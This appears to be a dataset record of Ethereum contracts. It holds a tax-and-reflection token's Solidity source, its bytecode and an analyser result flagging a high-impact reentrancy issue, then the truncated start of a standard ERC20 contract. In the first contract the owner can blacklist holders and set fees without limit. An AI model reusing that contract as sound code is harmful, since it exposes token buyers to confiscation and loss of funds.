uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xbc6e8d0EF2C10A30d4919DB6713a5d8779c26c15);
address payable private _marketingAddress = payable(0xbc6e8d0EF2C10A30d4919DB6713a5d8779c26c15);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051f578063dd62ed3e1461053f578063ea1644d514610585578063f2fde38b146105a557600080fd5b8063a2a957bb1461049a578063a9059cbb146104ba578063bfd79284146104da578063c3c8cd801461050a57600080fd5b80638f70ccf7116100d15780638f70ccf7146104445780638f9a55c01461046457806395d89b41146101fe57806398a5c3151461047a57600080fd5b80637d1db4a5146103e35780637f2feddc146103f95780638da5cb5b1461042657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037957806370a082311461038e578063715018a6146103ae57806374010ece146103c357600080fd5b8063313ce567146102fd57806349bd5a5e146103195780636b999053146103395780636d8aa8f81461035957600080fd5b80631694505e116101ab5780631694505e1461026a57806318160ddd146102a257806323b872dd146102c75780632fd689e3146102e757600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023a57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611929565b6105c5565b005b34801561020a57600080fd5b506040805180820182526004815263f09fa4ad60e01b6020820152905161023191906119ee565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a43565b610664565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50670de0b6b3a76400005b604051908152602001610231565b3480156102d357600080fd5b5061025a6102e2366004611a6f565b61067b565b3480156102f357600080fd5b506102b960185481565b34801561030957600080fd5b5060405160098152602001610231565b34801561032557600080fd5b5060155461028a906001600160a01b031681565b34801561034557600080fd5b506101fc610354366004611ab0565b6106e4565b34801561036557600080fd5b506101fc610374366004611add565b61072f565b34801561038557600080fd5b506101fc610777565b34801561039a57600080fd5b506102b96103a9366004611ab0565b6107c2565b3480156103ba57600080fd5b506101fc6107e4565b3480156103cf57600080fd5b506101fc6103de366004611af8565b610858565b3480156103ef57600080fd5b506102b960165481565b34801561040557600080fd5b506102b9610414366004611ab0565b60116020526000908152604090205481565b34801561043257600080fd5b506000546001600160a01b031661028a565b34801561045057600080fd5b506101fc61045f366004611add565b610887565b34801561047057600080fd5b506102b960175481565b34801561048657600080fd5b506101fc610495366004611af8565b6108cf565b3480156104a657600080fd5b506101fc6104b5366004611b11565b6108fe565b3480156104c657600080fd5b5061025a6104d5366004611a43565b61093c565b3480156104e657600080fd5b5061025a6104f5366004611ab0565b60106020526000908152604090205460ff1681565b34801561051657600080fd5b506101fc610949565b34801561052b57600080fd5b506101fc61053a366004611b43565b61099d565b34801561054b57600080fd5b506102b961055a366004611bc7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059157600080fd5b506101fc6105a0366004611af8565b610a3e565b3480156105b157600080fd5b506101fc6105c0366004611ab0565b610a6d565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016105ef90611c00565b60405180910390fd5b60005b81518110156106605760016010600084848151811061061c5761061c611c35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065881611c61565b9150506105fb565b5050565b6000610671338484610b57565b5060015b92915050565b6000610688848484610c7b565b6106da84336106d585604051806060016040528060288152602001611d7b602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b7565b610b57565b5060019392505050565b6000546001600160a01b0316331461070e5760405162461bcd60e51b81526004016105ef90611c00565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107595760405162461bcd60e51b81526004016105ef90611c00565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ac57506013546001600160a01b0316336001600160a01b0316145b6107b557600080fd5b476107bf816111f1565b50565b6001600160a01b0381166000908152600260205260408120546106759061122b565b6000546001600160a01b0316331461080e5760405162461bcd60e51b81526004016105ef90611c00565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108825760405162461bcd60e51b81526004016105ef90611c00565b601655565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016105ef90611c00565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016105ef90611c00565b601855565b6000546001600160a01b031633146109285760405162461bcd60e51b81526004016105ef90611c00565b600893909355600a91909155600955600b55565b6000610671338484610c7b565b6012546001600160a01b0316336001600160a01b0316148061097e57506013546001600160a01b0316336001600160a01b0316145b61098757600080fd5b6000610992306107c2565b90506107bf816112af565b6000546001600160a01b031633146109c75760405162461bcd60e51b81526004016105ef90611c00565b60005b82811015610a385781600560008686858181106109e9576109e9611c35565b90506020020160208101906109fe9190611ab0565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3081611c61565b9150506109ca565b50505050565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526004016105ef90611c00565b601755565b6000546001600160a01b03163314610a975760405162461bcd60e51b81526004016105ef90611c00565b6001600160a01b038116610afc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ef565b6001600160a01b038216610c1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ef565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ef565b6001600160a01b038216610d415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ef565b60008111610da35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ef565b6000546001600160a01b03848116911614801590610dcf57506000546001600160a01b03838116911614155b156110b057601554600160a01b900460ff16610e68576000546001600160a01b03848116911614610e685760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ef565b601654811115610eba5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ef565b6001600160a01b03831660009081526010602052604090205460ff16158015610efc57506001600160a01b03821660009081526010602052604090205460ff16155b610f545760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ef565b6015546001600160a01b03838116911614610fd95760175481610f76846107c2565b610f809190611c7c565b10610fd95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ef565b6000610fe4306107c2565b601854601654919250821015908210610ffd5760165491505b8080156110145750601554600160a81b900460ff16155b801561102e57506015546001600160a01b03868116911614155b80156110435750601554600160b01b900460ff165b801561106857506001600160a01b03851660009081526005602052604090205460ff16155b801561108d57506001600160a01b03841660009081526005602052604090205460ff16155b156110ad5761109b826112af565b4780156110ab576110ab476111f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f257506001600160a01b03831660009081526005602052604090205460ff165b8061112457506015546001600160a01b0385811691161480159061112457506015546001600160a01b03848116911614155b15611131575060006111ab565b6015546001600160a01b03858116911614801561115c57506014546001600160a01b03848116911614155b1561116e57600854600c55600954600d555b6015546001600160a01b03848116911614801561119957506014546001600160a01b03858116911614155b156111ab57600a54600c55600b54600d555b610a3884848484611438565b600081848411156111db5760405162461bcd60e51b81526004016105ef91906119ee565b5060006111e88486611c94565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610660573d6000803e3d6000fd5b60006006548211156112925760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ef565b600061129c611466565b90506112a88382611489565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112f7576112f7611c35565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134b57600080fd5b505afa15801561135f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113839190611cab565b8160018151811061139657611396611c35565b6001600160a01b0392831660209182029290920101526014546113bc9130911684610b57565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f5908590600090869030904290600401611cc8565b600060405180830381600087803b15801561140f57600080fd5b505af1158015611423573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611445576114456114cb565b6114508484846114f9565b80610a3857610a38600e54600c55600f54600d55565b60008060006114736115f0565b90925090506114828282611489565b9250505090565b60006112a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611630565b600c541580156114db5750600d54155b156114e257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150b8761165e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061153d90876116bb565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461156c90866116fd565b6001600160a01b03891660009081526002602052604090205561158e8161175c565b61159884836117a6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115dd91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160b8282611489565b82101561162757505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116515760405162461bcd60e51b81526004016105ef91906119ee565b5060006111e88486611d39565b600080600080600080600080600061167b8a600c54600d546117ca565b925092509250600061168b611466565b9050600080600061169e8e87878761181f565b919e509c509a509598509396509194505050505091939550919395565b60006112a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b7565b60008061170a8385611c7c565b9050838110156112a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ef565b6000611766611466565b90506000611774838361186f565b3060009081526002602052604090205490915061179190826116fd565b30600090815260026020526040902055505050565b6006546117b390836116bb565b6006556007546117c390826116fd565b6007555050565b60008080806117e460646117de898961186f565b90611489565b905060006117f760646117de8a8961186f565b9050600061180f826118098b866116bb565b906116bb565b9992985090965090945050505050565b600080808061182e888661186f565b9050600061183c888761186f565b9050600061184a888861186f565b9050600061185c8261180986866116bb565b939b939a50919850919650505050505050565b60008261187e57506000610675565b600061188a8385611d5b565b9050826118978583611d39565b146112a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ef565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bf57600080fd5b803561192481611904565b919050565b6000602080838503121561193c57600080fd5b823567ffffffffffffffff8082111561195457600080fd5b818501915085601f83011261196857600080fd5b81358181111561197a5761197a6118ee565b8060051b604051601f19603f8301168101818110858211171561199f5761199f6118ee565b6040529182528482019250838101850191888311156119bd57600080fd5b938501935b828510156119e2576119d385611919565b845293850193928501926119c2565b98975050505050505050565b600060208083528351808285015260005b81811015611a1b578581018301518582016040015282016119ff565b81811115611a2d576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5657600080fd5b8235611a6181611904565b946020939093013593505050565b600080600060608486031215611a8457600080fd5b8335611a8f81611904565b92506020840135611a9f81611904565b929592945050506040919091013590565b600060208284031215611ac257600080fd5b81356112a881611904565b8035801515811461192457600080fd5b600060208284031215611aef57600080fd5b6112a882611acd565b600060208284031215611b0a57600080fd5b5035919050565b60008060008060808587031215611b2757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5857600080fd5b833567ffffffffffffffff80821115611b7057600080fd5b818601915086601f830112611b8457600080fd5b813581811115611b9357600080fd5b8760208260051b8501011115611ba857600080fd5b602092830195509350611bbe9186019050611acd565b90509250925092565b60008060408385031215611bda57600080fd5b8235611be581611904565b91506020830135611bf581611904565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7557611c75611c4b565b5060010190565b60008219821115611c8f57611c8f611c4b565b500190565b600082821015611ca657611ca6611c4b565b500390565b600060208284031215611cbd57600080fd5b81516112a881611904565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d185784516001600160a01b031683529383019391830191600101611cf3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5657634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7557611d75611c4b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209123182ad33bc0bcdb432d85975e8abc2bef0898f43a5791e22d58ecb38a5f9564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,488 |
0x2b1a87dbcbb224c29c76dc5c7ffd00b5ca59100b
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
